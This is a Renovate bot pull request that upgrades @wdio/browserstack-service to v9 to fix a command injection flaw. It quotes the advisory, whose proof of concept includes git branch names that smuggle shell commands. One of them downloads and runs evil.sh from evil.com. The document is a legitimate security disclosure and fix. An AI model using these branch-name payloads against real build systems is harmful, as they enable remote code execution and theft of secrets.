Skip to content

chore(deps): update dependency @wdio/browserstack-service to v9 [security] - #1010

Open
renovate[bot] wants to merge 1 commit into
mainfrom
renovate/npm-wdio-browserstack-service-vulnerability
Open

renovate[bot] wants to merge 1 commit into
mainfrom
renovate/npm-wdio-browserstack-service-vulnerability

Conversation

@renovate

@renovate renovate Bot commented Nov 25, 2026

Copy link
Copy Markdown
Contributor

Note

This PR body was truncated due to platform limits.

This PR contains the following updates:

Package Change Age Confidence
@wdio/browserstack-service (source) 8.40.6 → 9.24.0 age confidence

WebdriverIO BrowserStack Service has a Command Injection issue

CVE-2026-25244 / GHSA-5c46-x3qw-q7j7

More information

Details

Summary

A command injection vulnerability exists in @wdio/browserstack-service that allows remote code execution (RCE) when processing git branch names in test orchestration. An attacker can exploit this by providing a malicious git repository with a branch name containing shell command injection payloads.

Details

Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer.

Vulnerable Code

File: https://github.com/webdriverio/webdriverio/blob/ea0e3e00288abced4c739ff9e46c46977b7cdbd2/packages/wdio-browserstack-service/src/testorchestration/helpers.ts#L204

Root Cause

User-controlled git branch names are directly interpolated into execSync() calls without sanitization. Git allows branch names to contain special characters ,that can be used for command injection.
Git allows to create these branches.

git checkout -b "main;touch\${IFS}/tmp/pwned.txt;echo\${IFS}PWNED"
git checkout -b "main;rm\${IFS}/tmp/pwned.txt;echo\${IFS}PWNED"
git checkout -b "main;curl\${IFS}evil.com/evil.sh\${IFS}>/tmp/evil.sh;bash\${IFS}/tmp/evil.sh;echo\${IFS}PWNED"
Attack Vector
  1. Attacker creates a malicious git repository with a branch name containing command injection payload
  2. Attacker configures WebdriverIO to use this repository via testOrchestrationOptions.runSmartSelection.source. if source is not provided it takes current directory as source.
  3. When getGitMetadataForAISelection() executes, it extracts the malicious branch name
  4. Branch name is interpolated into shell commands without sanitization
  5. Shell interprets special characters and executes attacker's commands
PoC
Step 1: Create Malicious Repository Branch
git checkout -b "main;touch\${IFS}/tmp/pwned.txt;echo\${IFS}PWNED"
Step 2: Configure WebdriverIO
// wdio.conf.js
export const config = {
    services: [
        ['browserstack', {
            user: process.env.BROWSERSTACK_USERNAME,
            key: process.env.BROWSERSTACK_ACCESS_KEY,
            testOrchestrationOptions: {
                runSmartSelection: {
                    enabled: true,
                    source: ['/tmp/malicious-repo']  // ⚠️ Points to malicious repo, without "source" field, it runs in the current directory.
                }
            }
        }]
    ],
    // ... rest of config
}
Step 3: Run Tests
npm run wdio
Step 4: Verify RCE
##### Check if file was created (proof of RCE)
ls -la /tmp/pwned.txt
Impact
  • Remote Code Execution on CI/CD servers or developer machines
  • Information Disclosure (environment variables, secrets, credentials)
  • Data Exfiltration (source code, SSH keys, configuration files)
  • System Compromise (backdoor installation, lateral movement)
  • Supply Chain Attack (modify build artifacts)

Severity

  • CVSS Score: 9.8 / 10 (Critical)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Release Notes

browserstack/wdio-browserstack-service (@​wdio/browserstack-service)

v9.24.0

Compare Source

v9.23.3

Compare Source

v9.23.2

Compare Source

v9.23.1

Compare Source

v9.23.0

Compare Source

v9.22.0

Compare Source

v9.21.0

Compare Source

v9.20.1

Compare Source

v9.20.0

Compare Source

v9.19.2

Compare Source

v9.19.1

Compare Source

v9.19.0

Compare Source

v9.18.4

Compare Source

v9.18.3

Compare Source

v9.18.1

Compare Source

v9.18.0

Compare Source

v9.17.0

Compare Source

v9.16.2

Compare Source

v9.16.1

Compare Source

v9.16.0

Compare Source

v9.15.0

Compare Source

v9.14.0

Compare Source

v9.13.0

Compare Source

v9.12.7

Compare Source

v9.12.6

Compare Source

v9.12.5

Compare Source

v9.12.4

Compare Source

v9.12.3

Compare Source

v9.12.2

Compare Source

v9.12.1

Compare Source

v9.12.0

Compare Source

v9.11.0

Compare Source

v9.10.1

Compare Source

v9.10.0

Compare Source

v9.9.3

Compare Source

v9.9.2

Compare Source

v9.9.1

Compare Source

v9.9.0

Compare Source

v9.8.0

Compare Source

v9.7.3

Compare Source

v9.7.2

Compare Source

v9.7.1

Compare Source

v9.7.0

Compare Source

v9.6.4

Compare Source

v9.6.3

Compare Source

v9.6.2

Compare Source

v9.6.1

Compare Source

v9.6.0

Compare Source

v9.5.7

Compare Source

v9.5.6

Compare Source

v9.5.4

Compare Source

v9.5.3

Compare Source

v9.5.2

Compare Source

v9.5.1

Compare Source

v9.5.0

Compare Source

v9.4.5

Compare Source

v9.4.4

Compare Source

v9.4.3

Compare Source

v9.4.2

Compare Source

v9.4.1

Compare Source

v9.4.0

Compare Source

v9.3.1

Compare Source

v9.3.0

Compare Source

v9.2.14

Compare Source

v9.2.12

Compare Source

v9.2.11

Compare Source

v9.2.8

Compare Source

v9.2.6

Compare Source

v9.2.5

Compare Source

v9.2.4

Compare Source

v9.2.2

Compare Source

v9.2.1

Compare Source

v9.2.0

Compare Source

v9.1.5

Compare Source

v9.1.4

Compare Source

v9.1.3

Compare Source

v9.1.2

Compare Source

v9.1.1

Compare Source

v9.1.0

Compare Source

v9.0.9

Compare Source

v9.0.8

Compare Source

v9.0.7

Compare Source

v9.0.6

Compare Source

v9.0.5

Compare Source

v9.0.4

Compare Source

v9.0.2

Compare Source

v9.0.1

Compare Source

v9.0.0

Compare Source

v8.56.1

Compare Source

Patch Changes
  • afaef90: - Fixed accessibility results being attributed outside the test that produced them when using tag-scoped accessibility testing on the BrowserStack CLI flow.

v8.56.0

Compare Source

Minor Changes
  • fa16b14: - Secured the local connection between the SDK and the BrowserStack CLI with a per-run token.

v8.55.2

Compare Source

Patch Changes
  • 3d8ba8c: - Removed the deprecated client-side self-healing extension. Self-healing on BrowserStack continues to work unchanged via the browserstack.selfHeal capability.

v8.55.1

Compare Source

Patch Changes
  • 6fbcf41: - Fixed builds being reported as timed out on Test Reporting & Analytics when a Mocha before / beforeEach / afterEach hook is declared outside any describe block.

v8.55.0

Compare Source

Minor Changes
  • 4d0de76: - Server-side configuration overrides from BrowserStack now take effect for WebdriverIO v8 builds, for example parallelsPerPlatform (parallel sessions per capability). Your wdio.conf remains the fallback.

v8.54.0

Compare Source

Minor Changes
  • 8ff1b20: - testManagementOptions set in the BrowserStack service options is now forwarded in full, so issues and issueTracker can link Jira issues to the build. The same JSON can be passed with the BROWSERSTACK_TEST_MANAGEMENT_OPTIONS environment variable or the --browserstack.testManagementOptions CLI argument (Mocha and Cucumber).

v8.53.3

Compare Source

Patch Changes
  • c8c2933: - Fixed BROWSERSTACK_PROJECT_NAME and BROWSERSTACK_BUILD_NAME being ignored — the environment now takes precedence over the project and build names in your config file, matching the other BrowserStack SDKs.

v8.53.2

Compare Source

Patch Changes
  • ccb370d: - SDK-6948: *.bsstag.com hubs are now recognised as BrowserStack on named internal staging envs (BROWSERSTACK_STAGING_ENV / BROWSERSTACK_ENV), so with the CLI flow (default) session marking and TRA linking work there. The classic (non-CLI) flow on a named staging env is not supported; its session update is skipped at debug.

    • SDK-6948: update_cli failures fall back to BROWSERSTACK_BINARY_URL. A failed fallback download uses the cached binary.
    • SDK-6948: _printSessionURL and _update log a failed session lookup or update (HTTP error) at debug instead of throwing.
  • 25529d2: fix(cli): fall back to BROWSERSTACK_BINARY_URL when update_cli fails (SDK-6948)

    update_cli runs during bootstrap — before the binary is spawned and before GRR localizes the API hosts — so it always targets production api.browserstack.com. On an internal staging run (BROWSERSTACK_STAGING_ENV) the staging credentials are rejected there (401), which left the CLI binary path empty and crashed the launcher with spawn('') … ERR_INVALID_ARG_VALUE: 'file' cannot be empty. When update_cli fails and BROWSERSTACK_BINARY_URL is set, download the binary from that URL instead so the run can proceed; the same applies when a 2xx reply carries no download URL and no binary is cached. If that download fails, the cached binary is used when there is one, and both errors are logged. Opt-in only — with the variable unset the original error propagates exactly as before. Ports main/v9 #​224 to the v8 line.

  • 7ef36e1: fix(util): recognize *.bsstag.com hosts as BrowserStack on internal staging envs (SDK-6948)

    getCloudProvider and isBrowserstackInfra only matched browserstack.com, so a session pointed at an internal staging env (*.bsstag.com) was classified as non-BrowserStack: session marking and Automate <-> TRA session linking did not work there. *.bsstag.com hosts are now treated as BrowserStack when BROWSERSTACK_STAGING_ENV is a bare env name (e.g. k8s, trimmed; blank means unset) or BROWSERSTACK_ENV is staging/stag/preprod/pre-prod. Hosts are matched case-insensitively. Production behaviour is unchanged. With the CLI flow (the default), session marking and Automate <-> TRA session linking now work on those envs, because the binary supplies the staging session REST host. The classic (non-CLI) flow on a named staging env is not supported: it has no staging session REST host, so the session name/status update is skipped at debug instead of failing the hook. _printSessionURL and _update log a failed session lookup or update (HTTP error reply) at debug instead of throwing. Ports main/v9 #​275 to the v8 line.

v8.53.1

Compare Source

Patch Changes
  • 3cb779e: - Fixed custom test metadata set via BrowserStackSDK.setTestMetadata() being dropped when the metadata is set before the test-run UUID is assigned. A per-UUID lookup now falls back to the current-run metadata again, restoring the behaviour that shipped before 8.51.0.
  • 4a49c07: - Fixed a configured buildIdentifier being dropped from the build name when BROWSERSTACK_BUILD_NAME was set via environment variable.
    • BROWSERSTACK_BUILD_RUN_IDENTIFIER and BROWSERSTACK_BUILD_IDENTIFIER are now honoured as build-identifier overrides.
    • Placeholders such as ${CUSTOM_DATE} in buildIdentifier are now substituted from the environment.
  • 9fc22b2: - Fixed custom test metadata set via BrowserStackSDK.setTestMetadata() before the test-run UUID is assigned being dropped for App Low-Code runs.

v8.53.0

Compare Source

Minor Changes
  • 7e631ec: - Cucumber tests on WebdriverIO now report through the BrowserStack CLI, matching the behaviour of Mocha.
    • Fixed sessionNameFormat being ignored, so custom session names now apply on the CLI flow.
    • Fixed Observability losing a feature's file path when a session-name update failed.
Patch Changes
  • 6736a40: - Fixed Percy visual testing on WebdriverIO: screenshots (Percy on Automate) and web snapshots are captured again. No config or code changes needed.

v8.52.0

Compare Source

Minor Changes
  • 5b04b27: - End-of-build messages from BrowserStack — such as a notice that your SDK version is outdated or has a known issue — are now shown at the end of your test run, highlighted in yellow for a warning and red for an error, and written to the SDK log without colour so they stay searchable.

v8.51.1

Compare Source

Patch Changes
  • 2443f4d: - Fixed accessibility command wrapping aborting on App Automate sessions, which logged Error in onBeforeExecute and left the remaining commands unwrapped for auto-scanning. Applies to both the CLI and the non-CLI flow.
    • Accessibility results and summary failures now report the HTTP status, the response body and the identifiers the query used, instead of an empty result with no explanation.
  • 5dcf7b8: - Fixed test tags not being reported to Test Observability for Mocha and Jasmine. Tags written as @tag tokens in suite or test titles are now sent with each test.
  • f03908b: - N/A — CI/workflow-only change; no customer-facing or package impact.
  • 0966598: ci(sdk-pr-review-gate): the gate required check now turns green as soon as the SDK PR Review Agent has run on the PR's latest commit (any verdict), not only when it passes — verdict is advisory. Rolls the mandatory-to-run gate change (SDK-7256) onto the v8 line; main already has it via #​202.

[v8.51.0](https://redirect.gi

[!IMPORTANT]
✂ PR body was truncated to here.


Configuration

📅 Schedule: (UTC)

  • Branch creation
    • At any time (no schedule defined)
  • Automerge
    • At any time (no schedule defined)

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@changeset-bot

changeset-bot Bot commented Nov 25, 2026

Copy link
Copy Markdown

⚠️ No Changeset found

Latest commit: 08a9a63

Merging this PR will not cause a version bump for any packages. If these changes should not result in a new version, you're good to go. If these changes should result in a version bump, you need to add a changeset.

This PR includes no changesets

When changesets are added to this PR, you'll see the packages that this PR includes changesets for and the associated semver types

Click here to learn what changesets are, and how to add one.

Click here if you're a maintainer who wants to add a changeset to this PR

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

0 participants